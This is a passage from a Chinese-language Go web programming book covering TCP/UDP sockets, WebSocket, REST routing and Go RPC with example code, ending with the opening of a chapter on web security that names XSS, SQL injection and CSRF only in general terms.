    conn.Write([]byte(daytime)) // don't care about return value
    // we're finished with this client
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

透過把業務處理分離到函式 `handleClient`，我們就可以進一步地實現多併發執行了。看上去是不是很帥，增加 `go` 關鍵詞就實現了伺服器端的多併發，從這個小例子也可以看出 `goroutine` 的強大之處。

有的朋友可能要問：這個伺服器端沒有處理客戶端實際請求的內容。如果我們需要透過從客戶端傳送不同的請求來取得不同的時間格式，而且需要一個長連線，該怎麼辦呢？請看：

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
    "strconv"
    "strings"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set
    2 minutes timeout
    request := make([]byte, 128) // set maxium request length to
    128B to prevent flood attack
```



```
defer conn.Close() // close connection before exit
for {
    read_len, err := conn.Read(request)

    if err != nil {
        fmt.Println(err)
        break
    }

    if read_len == 0 {
        break // connection already closed by client
    } else if strings.TrimSpace(string(request[:read_len])) == "timestamp" {
        daytime := strconv.FormatInt(time.Now().Unix(),
10)

        conn.Write([]byte(daytime))
    } else {
        daytime := time.Now().String()
        conn.Write([]byte(daytime))
    }

    request = make([]byte, 128) // clear last read content
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}
```

在上面這個例子中，我們使用 `conn.Read()` 不斷讀取客戶端發來的請求。由於我們需要保持與客戶端的長連線，所以不能在讀取完一次請求後就關閉連線。由於 `conn.SetReadDeadline()` 設定了超時，當一定時間內客戶端無請求傳送，`conn` 便會自動關閉，下面的 `for` 迴圈即會因為連線已關閉而跳出。需要注意

的是，`request` 在建立時需要指定一個最大長度以防止 `flood attack`；每次讀取到請求處理完畢後，需要清理 `request`，因為 `conn.Read()` 會將新讀取到的內容 `append` 到原內容之後。

## 控制 TCP 連線

TCP 有很多連線控制函式，我們平常用到比較多的有如下幾個函式：

```
func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)
```

設定建立連線的超時時間，客戶端和伺服器端都適用，當超過設定時間時，連線自動關閉。

```
func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error
```

用來設定寫入/讀取一個連線的超時時間。當超過設定時間時，連線自動關閉。

```
func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error
```

設定 `keepAlive` 屬性，是作業系統層在 `tcp` 上沒有資料和 `ACK` 的時候，會間隔性的傳送 `keepalive` 套件，作業系統可以透過該套件來判斷一個 `tcp` 連線是否已經斷開，在 `windows` 上預設 2 個小時沒有收到資料和 `keepalive` 套件的時候人為 `tcp` 連線已經斷開，這個功能和我們通常在應用層加的心跳套件的功能類似。

更多的內容請檢視 `net` 套件的文件。

## UDP Socket

Go 語言套件中處理 `UDP Socket` 和 `TCP Socket` 不同的地方就是在伺服器端處理多個客戶端請求資料套件的方式不同，`UDP` 缺少了對客戶端連線請求的 `Accept` 函式。其他基本幾乎一模一樣，只有 `TCP` 換成了 `UDP` 而已。`UDP` 的幾個主要函式

如下所示：

```
func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err
    os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.E
    rror)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, e
    rr os.Error)
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, er
    r os.Error)
```

一個 UDP 的客戶端程式碼如下所示，我們可以看到不同的就是 TCP 換成了 UDP 而已：

```
package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
    )
        os.Exit(1)
    }
    service := os.Args[1]
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.DialUDP("udp", nil, udpAddr)
    checkError(err)
    _, err = conn.Write([]byte("anything"))
    checkError(err)
    var buf [512]byte
    n, err := conn.Read(buf[0:])
    checkError(err)
    fmt.Println(string(buf[0:n]))
    os.Exit(0)
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
        os.Exit(1)
    }
}
```

我們來看一下 UDP 伺服器端如何來處理：

```
package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.ListenUDP("udp", udpAddr)
    checkError(err)
    for {
        handleClient(conn)
    }
}

func handleClient(conn *net.UDPConn) {
    var buf [512]byte
    _, addr, err := conn.ReadFromUDP(buf[0:])
    if err != nil {
        return
    }
    daytime := time.Now().String()
    conn.WriteToUDP([]byte(daytime), addr)
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error %s", err.Error())
        os.Exit(1)
    }
}
```

## 總結

透過對 TCP 和 UDP Socket 程式設計的描述和實現，可見 Go 已經完備地支援了 Socket 程式設計，而且使用起來相當的方便，Go 提供了很多函式，透過這些函式可以很容易就編寫出高效能的 Socket 應用。

## links

- [目錄](#)
- 上一節: [Web 服務](#)
- 下一節: [WebSocket](#)

## 8.2 WebSocket

WebSocket 是 HTML5 的重要特性，它實現了基於瀏覽器的遠端 socket，它使瀏覽器和伺服器可以進行全雙工通訊，許多瀏覽器（Firefox、Google Chrome 和 Safari）都已對此做了支援。

在 WebSocket 出現之前，爲了實現即時通訊，採用的技術都是“輪詢”，即在特定的時間間隔內，由瀏覽器對伺服器發出 HTTP Request，伺服器在收到請求後，返回最新的資料給瀏覽器重新整理，“輪詢”使得瀏覽器需要對伺服器不斷髮出請求，這樣會佔用大量頻寬。

WebSocket 採用了一些特殊的報頭，使得瀏覽器和伺服器只需要做一個握手的動作，就可以在瀏覽器和伺服器之間建立一條連線通道。且此連線會保持在活動狀態，你可以使用 JavaScript 來向連線寫入或從中接收資料，就像在使用一個常規的 TCP Socket 一樣。它解決了 Web 即時化的問題，相比傳統 HTTP 有如下好處：

- 一個 Web 客戶端只建立一個 TCP 連線
- WebSocket 伺服器端可以推送(push)資料到 web 客戶端.
- 有更加輕量級的頭，減少資料傳送量

WebSocket URL 的起始輸入是 ws://或是 wss://（在 SSL 上）。下圖展示了 WebSocket 的通訊過程，一個帶有特定報頭的 HTTP 握手被髮送到了伺服器端，接著在伺服器端或是客戶端就可以透過 JavaScript 來使用某種套介面（socket），這一套介面可被用來透過事件控制代碼非同步地接收資料。



圖 8.2 WebSocket 原理圖

### WebSocket 原理

WebSocket 的協議頗爲簡單，在第一次 handshake 透過以後，連線便建立成功，其後的通訊資料都是以“\x00”開頭，以“\xFF”結尾。在客戶端，這個是透明的，WebSocket 元件會自動將原始資料“掐頭去尾”。

瀏覽器發出 WebSocket 連線請求，然後伺服器發出迴應，然後連線建立成功，這個過程通常稱爲“握手” (handshaking)。請看下面的請求和反饋資訊：



圖 8.3 WebSocket 的 request 和 response 資訊

在請求中的"Sec-WebSocket-Key"是隨機的，對於整天跟編碼打交道的程式設計師，一眼就可以看出來：這個是一個經過 base64 編碼後的資料。伺服器端接收到這個請求之後需要把這個字串連線上一個固定的字串：

```
258EAF5A-E914-47DA-95CA-C5AB0DC85B11
```

即：`f7cb4ezEA16C3wRaU6J0RA==` 連線上那一串固定字串，產生一個這樣的字串：

```
f7cb4ezEA16C3wRaU6J0RA==258EAF5A-E914-47DA-95CA-C5AB0DC85B11
```

對該字串先用 sha1 安全雜湊演算法計算出二進位制的值，然後用 base64 對其進行編碼，即可以得到握手後的字串：

```
rE91AJhfC+6JdVcVX0GJEADEJdQ=
```

將之作爲回應標頭 `Sec-WebSocket-Accept` 的值反饋給客戶端。

## Go 實現 WebSocket

Go 語言標準套件裡面沒有提供對 WebSocket 的支援，但是在由官方維護的 `go.net` 子套件中有對這個的支援，你可以透過如下的命令取得該套件：

```
go get golang.org/x/net/websocket
```

WebSocket 分爲客戶端和伺服器端，接下來我們將實現一個簡單的例子：使用者輸入資訊，客戶端透過 WebSocket 將資訊傳送給伺服器端，伺服器端收到資訊之後主動 Push 資訊到客戶端，然後客戶端將輸出其收到的資訊，客戶端的程式碼如下：

```
<html>
```



```
<head></head>
<body>
  <script type="text/javascript">
    var sock = null;
    var wsuri = "ws://127.0.0.1:1234";

    window.onload = function() {

      console.log("onload");

      sock = new WebSocket(wsuri);

      sock.onopen = function() {
        console.log("connected to " + wsuri);
      }

      sock.onclose = function(e) {
        console.log("connection closed (" + e.code + ")");
      };

      sock.onmessage = function(e) {
        console.log("message received: " + e.data);
      }
    };

    function send() {
      var msg = document.getElementById('message').value;
      sock.send(msg);
    };
  </script>
  <h1>WebSocket Echo Test</h1>
  <form>
    <p>
      Message: <input id="message" type="text" value="Hello, world!">
    </p>
  </form>
  <button onclick="send();">Send Message</button>
</body>
```

```
</html>
```

可以看到客戶端 JS，很容易的就透過 WebSocket 函式建立了一個與伺服器的連線 sock，當握手成功後，會觸發 WebScket 物件的 onopen 事件，告訴客戶端連線已經成功建立。客戶端一共綁定了四個事件。

- 1) onopen 建立連線後觸發
- 2) onmessage 收到訊息後觸發
- 3) onerror 發生錯誤時觸發
- 4) onclose 關閉連線時觸發

我們伺服器端的實現如下：

```
package main

import (
    "golang.org/x/net/websocket"
    "fmt"
    "log"
    "net/http"
)

func Echo(ws *websocket.Conn) {
    var err error

    for {
        var reply string

        if err = websocket.Message.Receive(ws, &reply); err != nil {
            fmt.Println("Can't receive")
            break
        }

        fmt.Println("Received back from client: " + reply)

        msg := "Received: " + reply
        fmt.Println("Sending to client: " + msg)
```

```
        if err = websocket.Message.Send(ws, msg); err != nil {
            fmt.Println("Can't send")
            break
        }
    }
}

func main() {
    http.Handle("/", websocket.Handler(Echo))

    if err := http.ListenAndServe(":1234", nil); err != nil {
        log.Fatal("ListenAndServe:", err)
    }
}
```

當客戶端將使用者輸入的資訊 **Send** 之後，伺服器端透過 **Receive** 接收到了相應資訊，然後透過 **Send** 傳送了應答資訊。



圖 8.4 WebSocket 伺服器端接收到的資訊

透過上面的例子我們看到客戶端和伺服器端實現 **WebSocket** 非常的方便，Go 的原始碼 **net** 分支中已經實現了這個的協議，我們可以直接拿來用，目前隨著 **HTML5** 的發展，我想未來 **WebSocket** 會是 **Web** 開發的一個重點，我們需要儲備這方面的知識。

## links

- [目錄](#)
- 上一節: [Socket 程式設計](#)
- 下一節: [REST](#)

## 8.3 REST

RESTful，是目前最爲流行的一種網際網路軟體架構。因爲它結構清晰、符合標準、易於理解、擴充套件方便，所以正得到越來越多網站的採用。本小節我們將來學習它到底是一種什麼樣的架構？以及在 Go 裡面如何來實現它。

### 什麼是 REST

REST(REpresentational State Transfer)這個概念，首次出現是在 2000 年 Roy Thomas Fielding（他是 HTTP 規範的主要編寫者之一）的博士論文中，它指的是一組架構約束條件和原則。滿足這些約束條件和原則的應用程式或設計就是 RESTful 的。

要理解什麼是 REST，我們需要理解下面幾個概念：

- 資源（Resources） REST 是"表現層狀態轉化"，其實它省略了主語。"表現層"其實指的是"資源"的"表現層"。

那麼什麼是資源呢？就是我們平常上網訪問的一張圖片、一個文件、一個視訊等。這些資源我們透過 URI 來定位，也就是一個 URI 表示一個資源。

- 表現層（Representation）

資源是做一個具體的實體資訊，他可以有多種的展現方式。而把實體展現出來就是表現層，例如一個 txt 文字資訊，他可以輸出成 html、json、xml 等格式，一個圖片他可以 jpg、png 等方式展現，這個就是表現層的意思。

URI 確定一個資源，但是如何確定它的具體表現形式呢？應該在 HTTP 請求的頭資訊中用 Accept 和 Content-Type 欄位指定，這兩個欄位才是對"表現層"的描述。

- 狀態轉化（State Transfer）

訪問一個網站，就代表了客戶端和伺服器的一個互動過程。在這個過程中，肯定涉及到資料和狀態的變化。而 HTTP 協議是無狀態的，那麼這些狀態肯定儲存在伺服器端，所以如果客戶端想要通知伺服器端改變資料和狀態的變化，肯定要透過某種方式來通知它。

客戶端能通知伺服器端的手段，只能是 HTTP 協議。具體來說，就是 HTTP 協議裡面，四個表示操作方式的動詞：GET、POST、PUT、DELETE。它們分別對應四種基本操作：GET 用來取得資源，POST 用來新建資源（也可以用於更新資源），PUT 用來更新資源，DELETE 用來刪除資源。

綜合上面的解釋，我們總結一下什麼是 RESTful 架構：

- （1）每一個 URI 代表一種資源；
- （2）客戶端和伺服器之間，傳遞這種資源的某種表現層；
- （3）客戶端透過四個 HTTP 動詞，對伺服器端資源進行操作，實現"表現層狀態轉化"。

Web 應用要滿足 REST 最重要的原則是：客戶端和伺服器之間的互動在請求之間是無狀態的，即從客戶端到伺服器的每個請求都必須包含理解請求所必需的資訊。如果伺服器在請求之間的任何時間點重啟，客戶端不會得到通知。此外此請求可以由任何可用伺服器回答，這十分適合雲端計算之類別的環境。因為是無狀態的，所以客戶端可以快取資料以改進效能。

另一個重要的 REST 原則是系統分層，這表示元件無法瞭解除了與它直接互動的層次以外的元件。透過將系統知識限制在單個層，可以限制整個系統的複雜性，從而促進了底層的獨立性。

下圖即是 REST 的架構圖：



圖 8.5 REST 架構圖

當 REST 架構的約束條件作為一個整體應用時，將產生一個可以擴充套件到大量客戶端的應用程式。它還降低了客戶端和伺服器之間的互動延遲。統一介面簡化了整個系統架構，改進了子系統之間互動的可見性。REST 簡化了客戶端和伺服器的實現，而且對於使用 REST 開發的應用程式更加容易擴充套件。

下圖展示了 REST 的擴充套件性：



圖 8.6 REST 的擴充套件性

## RESTful 的實現

Go 沒有為 REST 提供直接支援，但是因為 RESTful 是基於 HTTP 協議實現的，所以我們可以利用 `net/http` 套件來自己實現，當然需要針對 REST 做一些改造，REST 是根據不同的 `method` 來處理相應的資源，目前已經存在的很多自稱是 REST 的應用，其實並沒有真正的實現 REST，我暫且把這些應用根據實現的 `method` 分成幾個級別，請看下圖：



圖 8.7 REST 的 level 分級

上圖展示了我們目前實現 REST 的三個 level，我們在應用開發的時候也不一定全部按照 RESTful 的規則全部實現他的方式，因為有些時候完全按照 RESTful 的方式未必是可行的，RESTful 服務充分利用每一個 HTTP 方法，包括 `DELETE` 和 `PUT`。可有時，HTTP 客戶端只能發出 `GET` 和 `POST` 請求：

- HTML 標準只能透過連結和表單支援 `GET` 和 `POST`。在沒有 Ajax 支援的網頁瀏覽器中不能發出 `PUT` 或 `DELETE` 命令
- 有些防火牆會擋住 HTTP `PUT` 和 `DELETE` 請求，要繞過這個限制，客戶端需要把實際的 `PUT` 和 `DELETE` 請求透過 `POST` 請求穿透過來。RESTful 服務則要負責在收到的 `POST` 請求中找到原始的 HTTP 方法並還原。

我們現在可以透過 `POST` 裡面增加隱藏欄位 `_method` 這種方式可以來模擬 `PUT`、`DELETE` 等方式，但是伺服器端需要做轉換。我現在的專案裡面就按照這種方式來做的 REST 介面。當然 Go 語言裡面完全按照 RESTful 來實現是很容易的，我們透過下面的例子來說明如何實現 RESTful 的應用設計。

```
package main

import (
    "fmt"
    "log"
    "net/http"

    "github.com/julienschmidt/httprouter"
)

func Index(w http.ResponseWriter, r *http.Request, _ httprouter.
Params) {
```

```
    fmt.Fprint(w, "Welcome!\n")
}

func Hello(w http.ResponseWriter, r *http.Request, ps httprouter
.Params) {
    fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name"))
}

func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are get user %s", uid)
}

func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are modify user %s", uid)
}

func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are delete user %s", uid)
}

func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // uid := r.FormValue("uid")
    uid := ps.ByName("uid")
    fmt.Fprintf(w, "you are add user %s", uid)
}

func main() {
    router := httprouter.New()
    router.GET("/", Index)
    router.GET("/hello/:name", Hello)

    router.GET("/user/:uid", getuser)
    router.POST("/adduser/:uid", adduser)
```

```
router.DELETE("/deluser/:uid", deleteuser)
router.PUT("/moduser/:uid", modifyuser)

log.Fatal(http.ListenAndServe(":8080", router))
}
```

上面的程式碼示範瞭如何編寫一個 REST 的應用，我們訪問的資源是使用者，我們透過不同的 `method` 來訪問不同的函式，這裡使用了第三方函式

庫 [github.com/julienschmidt/httprouter](https://github.com/julienschmidt/httprouter)，在前面章節我們介紹過如何實現自訂的路由器，這個函式庫實現了自訂路由和方便的路由規則對映，透過它，我們可以很方便的實現 REST 的架構。透過上面的程式碼可知，REST 就是根據不同的 `method` 訪問同一個資源的時候實現不同的邏輯處理。

## 總結

REST 是一種架構風格，汲取了 WWW 的成功經驗：無狀態，以資源為中心，充分利用 HTTP 協議和 URI 協議，提供統一的介面定義，使得它作為一種設計 Web 服務的方法而變得流行。在某種意義上，透過強調 URI 和 HTTP 等早期 Internet 標準，REST 是對大型應用程式伺服器時代之前的 Web 方式的迴歸。目前 Go 對於 REST 的支援還是很簡單的，透過實現自訂的路由規則，我們就可以為不同的 `method` 實現不同的 `handle`，這樣就實現了 REST 的架構。

## links

- [目錄](#)
- 上一節: [WebSocket](#)
- 下一節: [RPC](#)



## 8.4 RPC

前面幾個小節我們介紹瞭如何基於 Socket 和 HTTP 來編寫網路應用，透過學習我們瞭解了 Socket 和 HTTP 採用的是類似"資訊交換"模式，即客戶端傳送一條資訊到伺服器端，然後(一般來說)伺服器端都會返回一定的資訊以表示響應。客戶端和伺服器端之間約定了互動資訊的格式，以便雙方都能夠解析互動所產生的資訊。但是很多獨立的應用並沒有採用這種模式，而是採用類似常規的函式呼叫的方式來完成想要的功能。

RPC 就是想實現函式呼叫模式的網路化。客戶端就像呼叫本地函式一樣，然後客戶端把這些引數打套件之後透過網路傳遞到伺服器端，伺服器端解套件到處理過程中執行，然後執行的結果反饋給客戶端。

RPC (Remote Procedure Call Protocol) ——遠端過程呼叫協議，是一種透過網路從遠端計算機程式上請求服務，而不需要了解底層網路技術的協議。它假定某些傳輸協議的存在，如 TCP 或 UDP，以便為通訊程式之間攜帶資訊資料。透過它可以使函式呼叫模式網路化。在 OSI 網路通訊模型中，RPC 跨越了傳輸層和應用層。RPC 使得開發包括網路分散式多程式在內的應用程式更加容易。

### RPC 工作原理



圖 8.8 RPC 工作流程圖

執行時，一次客戶機對伺服器的 RPC 呼叫，其內部操作大致有如下十步：

- 1. 呼叫客戶端控制代碼；執行傳送引數
- 2. 呼叫本地系統核心傳送網路訊息
- 3. 訊息傳送到遠端主機
- 4. 伺服器控制代碼得到訊息並取得引數
- 5. 執行遠端過程
- 6. 執行的過程將結果返回伺服器控制代碼
- 7. 伺服器控制代碼返回結果，呼叫遠端系統核心
- 8. 訊息傳回本地主機
- 9. 客戶控制代碼由核心接收訊息
- 10. 客戶接收控制代碼返回的資料

## Go RPC

Go 標準套件中已經提供了對 RPC 的支援，而且支援三個級別的 RPC：TCP、HTTP、JSONRPC。但 Go 的 RPC 套件是獨一無二的 RPC，它和傳統的 RPC 系統不同，它只支援 Go 開發的伺服器與客戶端之間的互動，因為在內部，它們採用了 Gob 來編碼。

Go RPC 的函式只有符合下面的條件才能被遠端訪問，不然會被忽略，詳細的要求如下：

- 函式必須是匯出的(首字母大寫)
- 必須有兩個匯出型別的引數，
- 第一個引數是接收的引數，第二個引數是返回給客戶端的引數，第二個引數必須是指標型別的
- 函式還要有一個返回值 error

舉個例子，正確的 RPC 函式格式如下：

```
func (t *T) MethodName(argType T1, replyType *T2) error
```

T、T1 和 T2 型別必須能被 `encoding/gob` 套件編解碼。

任何的 RPC 都需要透過網路來傳遞資料，Go RPC 可以利用 HTTP 和 TCP 來傳遞資料，利用 HTTP 的好處是可以直接複用 `net/http` 裡面的一些函式。詳細的例子請看下面的實現

## HTTP RPC

http 的伺服器端程式碼實現如下：

```
package main

import (
    "errors"
    "fmt"
    "net/http"
    "net/rpc"
)
```

```
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)
    rpc.HandleHTTP()

    err := http.ListenAndServe(":1234", nil)
    if err != nil {
        fmt.Println(err.Error())
    }
}
```

透過上面的例子可以看到，我們註冊了一個 `Arith` 的 RPC 服務，然後透過 `rpc.HandleHTTP` 函式把該服務註冊到了 HTTP 協議上，然後我們就可以利用 `http` 的方式來傳遞資料了。

請看下面的客戶端程式碼：

```
package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server")
        os.Exit(1)
    }
    serverAddress := os.Args[1]

    client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
```

```
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B,
        quot.Quo, quot.Rem)
}
```

我們把上面的伺服器端和客戶端的程式碼分別編譯，然後先把伺服器端開啓，然後開啓客戶端，輸入程式碼，就會輸出如下資訊：

```
$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1
```

透過上面的呼叫可以看到引數和返回值是我們定義的 `struct` 型別，在伺服器端我們把它們當做呼叫函式的引數的型別，在客戶端作為 `client.Call` 的第 2, 3 兩個引數的型別。客戶端最重要的就是這個 `Call` 函式，它有 3 個引數，第 1 個要呼叫的函式的名字，第 2 個是要傳遞的引數，第 3 個要返回的引數(注意是指標型別)，透過上面的程式碼例子我們可以發現，使用 Go 的 RPC 實現相當的簡單，方便。

## TCP RPC

上面我們實現了基於 HTTP 協議的 RPC，接下來我們要實現基於 TCP 協議的 RPC，伺服器端的實現程式碼如下所示：

```
package main

import (
```

```
    "errors"  
    "fmt"  
    "net"  
    "net/rpc"  
    "os"  
)  
  
type Args struct {  
    A, B int  
}  
  
type Quotient struct {  
    Quo, Rem int  
}  
  
type Arith int  
  
func (t *Arith) Multiply(args *Args, reply *int) error {  
    *reply = args.A * args.B  
    return nil  
}  
  
func (t *Arith) Divide(args *Args, quo *Quotient) error {  
    if args.B == 0 {  
        return errors.New("divide by zero")  
    }  
    quo.Quo = args.A / args.B  
    quo.Rem = args.A % args.B  
    return nil  
}  
  
func main() {  
  
    arith := new(Arith)  
    rpc.Register(arith)  
  
    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")  
    checkError(err)  
  
    listener, err := net.ListenTCP("tcp", tcpAddr)
```

```
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        rpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}
```

上面這個程式碼和 **http** 的伺服器相比，不同在於：在此處我們採用了 **TCP** 協議，然後需要自己控制連線，當有客戶端連線上來後，我們需要把這個連線交給 **rpc** 來處理。

如果你留心了，你會發現這它是一個阻塞型的單使用者的程式，如果想要實現多併發，那麼可以使用 **goroutine** 來實現，我們前面在 **socket** 小節的時候已經介紹過如何處理 **goroutine**。下面展現了 **TCP** 實現的 **RPC** 客戶端：

```
package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}
```

```
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        os.Exit(1)
    }
    service := os.Args[1]

    client, err := rpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B,
        quot.Quo, quot.Rem)
}
```

這個客戶端程式碼和 http 的客戶端程式碼對比，唯一的區別一個是 DialHTTP，一個是 Dial(tcp)，其他處理一模一樣。



## JSON RPC

JSON RPC 是資料編碼採用了 JSON，而不是 gob 編碼，其他和上面介紹的 RPC 概念一模一樣，下面我們來示範一下，如何使用 Go 提供的 json-rpc 標準套件，請看伺服器端程式碼的實現：

```
package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
}
```

```
        return nil
    }

    func main() {

        arith := new(Arith)
        rpc.Register(arith)

        tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
        checkError(err)

        listener, err := net.ListenTCP("tcp", tcpAddr)
        checkError(err)

        for {
            conn, err := listener.Accept()
            if err != nil {
                continue
            }
            jsonrpc.ServeConn(conn)
        }

    }

    func checkError(err error) {
        if err != nil {
            fmt.Println("Fatal error ", err.Error())
            os.Exit(1)
        }
    }
}
```

透過範例我們可以看出 json-rpc 是基於 TCP 協議實現的，目前它還不支援 HTTP 方式。

請看客戶端的實現程式碼：

```
package main

import (
```

```
    "fmt"
    "log"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        log.Fatal(1)
    }
    service := os.Args[1]

    client, err := jsonrpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B,
```

```
    quot.Quo, quot.Rem)  
  
}
```

## 總結

Go 已經提供了對 RPC 的良好支援，透過上面 HTTP、TCP、JSON RPC 的實現，我們就可以很方便的開發很多分散式的 Web 應用，我想作為讀者的你已經領會到這一點。但遺憾的是目前 Go 尚未提供對 SOAP RPC 的支援，欣慰的是現在已經有第三方的開源實現了。

## links

- [目錄](#)
- 上一節: [REST](#)
- 下一節: [小結](#)

## 8.5 小結

這一章我們介紹了目前流行的幾種主要的網路應用開發方式，第一小節介紹了網路程式設計中的基礎 :Socket 程式設計，因為現在網路正在朝雲的方向快速進化，作為這一技術演進的基石的 socket 知識，作為開發者的你，是必須要掌握的。第二小節介紹了正愈發流行的 HTML5 中一個重要的特性 WebSocket，透過它，伺服器可以實現主動的 push 訊息，以簡化以前 ajax 輪詢的模式。第三小節介紹了 REST 編寫模式，這種模式特別適合來開發網路應用 API，目前移動應用的快速發展，我覺得將來會是一個潮流。第四小節介紹了 Go 實現的 RPC 相關知識，對於上面四種開發方式，Go 都已經提供了良好的支援，net 套件及其子套件，是所有涉及到網路程式設計的工具的所在地。如果你想更加深入的瞭解相關實現細節，可以嘗試閱讀這個套件下面的原始碼。

## links

- [目錄](#)
- 上一節: [RPC](#)
- 下一章: [安全與加密](#)

## 9 安全與加密

無論是開發 Web 應用的開發者還是企圖利用 Web 應用漏洞的攻擊者，對於 Web 程式安全這個話題都給予了越來越多的關注。特別是最近 CSDN 密碼洩露事件，更是讓我們對 Web 安全這個話題更加重視，所有人都談密碼色變，都開始檢測自己的系統是否存在漏洞。那麼我們作為一名 Go 程式的開發者，一定也需要知道我們的應用程式隨時會成為眾多攻擊者的目標，並提前做好防範的準備。

很多 Web 應用程式中的安全問題都是由於輕信了第三方提供的資料造成的。比如對於使用者的輸入資料，在對其進行驗證之前都應該將其視為不安全的資料。如果直接把這些不安全的資料輸出到客戶端，就可能造成跨站指令碼攻擊(XSS)的問題。如果把不安全的資料用於資料庫查詢，那麼就可能造成 SQL 注入問題，我們將會在 9.3、9.4 小節介紹如何避免這些問題。

在使用第三方提供的資料，包括使用者提供的資料時，首先檢驗這些資料的合法性非常重要，這個過程叫做過濾，我們將在 9.2 小節介紹如何保證對所有輸入的資料進行過濾處理。

過濾輸入和轉義輸出並不能解決所有的安全問題，我們將會在 9.1 講解的 CSRF 攻擊，會導致受騙者傳送攻擊者指定的請求從而造成一些破壞。

